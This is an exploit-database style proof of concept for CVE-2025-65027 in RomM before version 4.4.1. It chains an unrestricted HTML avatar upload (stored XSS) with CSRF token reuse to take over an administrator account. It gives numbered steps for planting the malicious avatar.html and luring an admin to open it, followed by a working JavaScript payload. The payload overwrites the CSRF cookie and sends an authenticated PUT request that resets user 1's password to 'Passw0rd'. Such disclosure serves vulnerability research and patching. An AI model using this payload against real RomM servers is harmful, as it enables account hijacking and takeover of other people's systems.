# Exploit Title: RomM < 4.4.1 - XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027
# -------------------
# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover
# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link
# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
# - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
# - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
# - DevTools > Network tab > Filter for `.html` files
# - Or capture it via proxy (e.g., Burp Suite)
# - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"
# -------------------
# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>"; // CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>"; // CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1; // Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd"; // Password to set for victim
// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;
// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
method: 'PUT',
credentials: 'include', // Send victim's session cookie
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'x-csrftoken': csrfToken
},
body: "password=" + newPassword
})
.then(() => {
console.log("Password changed successfully");
})
.catch(err => {
console.error("Attack failed:", err);
});
</script>
# -------------------
# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403